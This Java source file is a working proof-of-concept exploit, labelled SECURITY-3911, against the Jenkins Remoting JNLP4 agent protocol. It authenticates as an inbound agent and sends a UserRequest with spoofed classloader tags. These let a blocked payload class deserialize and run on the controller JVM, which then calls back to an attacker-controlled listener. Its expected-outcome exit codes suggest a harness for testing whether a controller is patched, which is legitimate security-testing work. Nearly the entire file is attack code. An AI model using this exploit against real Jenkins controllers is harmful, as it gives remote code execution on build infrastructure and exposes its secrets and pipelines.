import hudson.remoting.Channel;
import hudson.remoting.Callable;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.security.KeyFactory;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import org.jenkinsci.remoting.engine.JnlpAgentEndpoint;
import org.jenkinsci.remoting.engine.JnlpConnectionState;
import org.jenkinsci.remoting.engine.JnlpConnectionStateListener;
import org.jenkinsci.remoting.engine.JnlpProtocolHandler;
import org.jenkinsci.remoting.engine.JnlpProtocolHandlerFactory;
import org.jenkinsci.remoting.protocol.IOHub;
import org.jenkinsci.remoting.protocol.cert.PublicKeyMatchingX509ExtendedTrustManager;

/**
 * SECURITY-3911 attack agent.
 *
 * <p>Performs the REAL Jenkins Remoting JNLP4-connect handshake against a real Jenkins
 * controller inbound-agent TCP listener, using the same production negotiation classes the
 * official agent (hudson.remoting.Engine) uses: JnlpAgentEndpoint, JnlpProtocolHandlerFactory,
 * JnlpProtocol4Handler (via the factory), PublicKeyMatchingX509ExtendedTrustManager and IOHub.
 * No synthetic ChannelBuilder is used.
 *
 * <p>Once the real hudson.remoting.Channel is established, it builds a genuine
 * hudson.remoting.UserRequest, then replaces its serialized request bytes with bytes produced
 * by SpoofedTagSystemClassLoaderOutput (annotates every class descriptor with
 * TAG_SYSTEMCLASSLOADER, exactly like the regression test helper in the SECURITY-3911 fix
 * commit). On the controller, UserRequest.perform() -> UserRequest.deserialize() ->
 * MultiClassLoaderSerializer.Input.resolveClass() hits the ClassNotFoundException fallback,
 * which on vulnerable builds resolves the JEP-200-blocked payload class WITHOUT
 * channel.classFilter.check(...), so Payload.readObject() executes on the controller JVM.
 *
 * <p>Exit code 0 iff the observed outcome matches the expected one (EXECUTED for a vulnerable
 * controller, REJECTED for a fixed controller).
 */
public class AttackAgent {

    /** Mirrors MultiClassLoaderSerializer.Output but always claims the system classloader. */
    static final class SpoofedTagSystemClassLoaderOutput extends ObjectOutputStream {
        // Cf. MultiClassLoaderSerializer.TAG_SYSTEMCLASSLOADER
        private static final int TAG_SYSTEMCLASSLOADER = -3;

        SpoofedTagSystemClassLoaderOutput(OutputStream out) throws IOException {
            super(out);
        }

        @Override
        protected void annotateClass(Class<?> c) throws IOException {
            writeInt(TAG_SYSTEMCLASSLOADER);
        }

        @Override
        protected void annotateProxyClass(Class<?> cl) throws IOException {
            annotateClass(cl);
        }
    }

    public static void main(String[] args) throws Exception {
        if (args.length != 8) {
            System.err.println("usage: AttackAgent <host> <port> <secret> <agentName> <token> <callbackHost> <callbackPort> <expect:EXECUTED|REJECTED>");
            System.exit(2);
        }
        String host = args[0];
        int port = Integer.parseInt(args[1]);
        String secret = args[2];
        String agentName = args[3];
        String token = args[4];
        String callbackHost = args[5];
        int callbackPort = Integer.parseInt(args[6]);
        String expect = args[7];

        // (0) Attacker-controlled callback listener: the payload running inside the
        // controller JVM dials back here - direct OS/network-level evidence.
        List<String> callbacks = new ArrayList<>();
        ServerSocket listener = new ServerSocket(callbackPort);
        Thread listenerThread = new Thread(() -> {
            try {
                long deadline = System.currentTimeMillis() + 180_000;
                listener.setSoTimeout(5000);
                while (System.currentTimeMillis() < deadline && callbacks.size() < 4) {
                    try {
                        Socket s = listener.accept();
                        byte[] buf = s.getInputStream().readAllBytes();
                        String msg = new String(buf, StandardCharsets.UTF_8);
                        synchronized (callbacks) {
                            callbacks.add(msg);
                        }
                        System.out.println("CALLBACK_RECEIVED from=" + s.getRemoteSocketAddress() + " msg=" + msg);
                        s.close();
                    } catch (java.net.SocketTimeoutException ignored) {
                    }
                }
            } catch (Exception e) {
                System.out.println("CALLBACK_LISTENER_ERROR " + e);
            }
        });
        listenerThread.setDaemon(true);
        listenerThread.start();

        ExecutorService executor = Executors.newCachedThreadPool();
        Channel channel = null;
        IOHub hub = null;
        try {
            // (1) JNLP4 uses TLS with the controller's instance-identity certificate.
            // Like the production agent's -noCertificateCheck mode, trust the endpoint
            // without pinning (client-side policy only; the secret authenticates the agent).
            RSAPublicKey identity = null;

            // (2) Build the real endpoint and connect through the real protocol classes.
            JnlpAgentEndpoint endpoint = new JnlpAgentEndpoint(host, port, identity, Set.of("JNLP4-connect"));
            PublicKeyMatchingX509ExtendedTrustManager tm = new PublicKeyMatchingX509ExtendedTrustManager(false, false);
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, new TrustManager[] {tm}, null);

            Map<String, String> headers = new HashMap<>();
            headers.put(JnlpConnectionState.CLIENT_NAME_KEY, agentName);
            headers.put(JnlpConnectionState.SECRET_KEY, secret);

            // The IOHub must stay open for the lifetime of the channel - closing it tears
            // down the protocol stack's network threads (hudson.remoting.Engine keeps it
            // open for the whole connection lifetime as well).
            hub = IOHub.create(executor);
            {
                List<JnlpProtocolHandler<? extends JnlpConnectionState>> protocols =
                        new JnlpProtocolHandlerFactory(executor)
                                .withIOHub(hub)
                                .withSSLContext(sslContext)
                                .withPreferNonBlockingIO(false)
                                .handlers();
                for (JnlpProtocolHandler<? extends JnlpConnectionState> protocol : protocols) {
                    if (!protocol.isEnabled()) {
                        System.out.println("PROTOCOL " + protocol.getName() + " disabled, skipping");
                        continue;
                    }
                    if (!endpoint.isProtocolSupported(protocol.getName())) {
                        System.out.println("PROTOCOL " + protocol.getName() + " not supported by endpoint, skipping");
                        continue;
                    }
                    System.out.println("TRYING_PROTOCOL " + protocol.getName());
                    Socket socket = new Socket();
                    socket.connect(new InetSocketAddress(endpoint.getHost(), endpoint.getPort()), 30000);
                    List<JnlpConnectionStateListener> listeners = new ArrayList<>();
                    // Mirrors hudson.remoting.Engine$EngineJnlpConnectionStateListener:
                    // the client-side connection state machine requires a listener that
                    // approves the connection after the property exchange.
                    listeners.add(new JnlpConnectionStateListener() {
                        @Override
                        public void afterProperties(JnlpConnectionState event) {
                            event.approve();
                            System.out.println("HANDSHAKE properties approved by client listener");
                        }

                        @Override
                        public void afterChannel(JnlpConnectionState event) {
                            System.out.println("HANDSHAKE afterChannel: channel created");
                        }
                    });
                    try {
                        channel = protocol.connect(socket, headers, listeners).get(90, TimeUnit.SECONDS);
                    } catch (Exception e) {
                        System.out.println("PROTOCOL " + protocol.getName() + " failed: " + e);
                        channel = null;
                    }
                    if (channel != null) {
                        System.out.println("CHANNEL_ESTABLISHED protocol=" + protocol.getName()
                                + " name=" + channel.getName());
                        break;
                    }
                }
            }
            if (channel == null) {
                System.out.println("ATTACK_ERROR no protocol established a channel");
                System.exit(2);
            }
            System.out.println("AGENT_CHANNEL_FILTER=" + channel.getClass().getName() + " (agent side, outbound)");

            // (3) Craft the malicious UserRequest: genuine UserRequest + spoofed bytes.
            Class<?> userRequestClass = Class.forName("hudson.remoting.UserRequest");
            Constructor<?> ctor = userRequestClass.getDeclaredConstructor(Channel.class, Callable.class);
            ctor.setAccessible(true);
            Object request = ctor.newInstance(channel, new DummyCallable());

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new SpoofedTagSystemClassLoaderOutput(baos);
            oos.writeObject(new hudson.security3911.Payload(token, callbackHost, callbackPort));
            oos.close();
            byte[] maliciousBytes = baos.toByteArray();
            Field requestField = userRequestClass.getDeclaredField("request");
            requestField.setAccessible(true);
            requestField.set(request, maliciousBytes);
            System.out.println("MALICIOUS_REQUEST prepared, spoofed payload bytes=" + maliciousBytes.length);

            // (4) Send through the real channel; the controller runs UserRequest.perform().
            Method callMethod = Class.forName("hudson.remoting.Request").getDeclaredMethod("call", Channel.class);
            callMethod.setAccessible(true);
            String responseText = "";
            String chain = "";
            try {
                Object result = callMethod.invoke(request, channel);
                // Channel.call(Callable) unwraps ResponseToUserRequest via retrieve(...),
                // which deserializes the remote return value or rethrows the remote exception.
                try {
                    Method retrieve = Class.forName("hudson.remoting.UserRequest$ResponseToUserRequest")
                            .getDeclaredMethod("retrieve", Channel.class, ClassLoader.class);
                    retrieve.setAccessible(true);
                    Object value = retrieve.invoke(result, channel, AttackAgent.class.getClassLoader());
                    responseText = String.valueOf(value);
                } catch (Exception re) {
                    Throwable rc = re instanceof java.lang.reflect.InvocationTargetException ? re.getCause() : re;
                    throw rc instanceof Exception ? (Exception) rc : re;
                }
                System.out.println("RESPONSE=" + responseText);
            } catch (Exception e) {
                Throwable cause = e instanceof java.lang.reflect.InvocationTargetException ? e.getCause() : e;
                chain = flatten(cause);
                System.out.println("EXCEPTION=" + chain);
            }

            // The payload detonates inside readObject during controller-side deserialization,
            // so its outbound callback is the direct execution signal; wait for it.
            String outcome;
            long deadline = System.currentTimeMillis() + 90_000;
            while (true) {
                boolean gotCallback;
                synchronized (callbacks) {
                    gotCallback = callbacks.stream().anyMatch(c -> c.contains(token));
                }
                if (gotCallback || System.currentTimeMillis() > deadline) {
                    break;
                }
                Thread.sleep(1000);
            }
            boolean executed;
            synchronized (callbacks) {
                executed = callbacks.stream().anyMatch(c -> c.contains(token))
                        || responseText.contains("PWNED");
                System.out.println("CALLBACK_COUNT=" + callbacks.size());
            }
            boolean rejected = chain.contains("Rejected:") || chain.contains("SecurityException");
            outcome = executed ? "EXECUTED" : (rejected ? "REJECTED" : "ERROR");

            System.out.println("ATTACK_RESULT=" + outcome + " EXPECT=" + expect);
            System.exit(outcome.equals(expect) ? 0 : 3);
        } finally {
            if (channel != null) {
                try {
                    channel.close();
                } catch (Exception ignored) {
                }
            }
            if (hub != null) {
                try {
                    hub.close();
                } catch (Exception ignored) {
                }
            }
            listener.close();
            executor.shutdownNow();
        }
    }


    private static String flatten(Throwable t) {
        StringBuilder sb = new StringBuilder();
        while (t != null) {
            if (sb.length() > 0) sb.append(" <- ");
            sb.append(t.getClass().getSimpleName()).append(": ").append(t.getMessage());
            t = t.getCause();
        }
        return sb.toString();
    }
}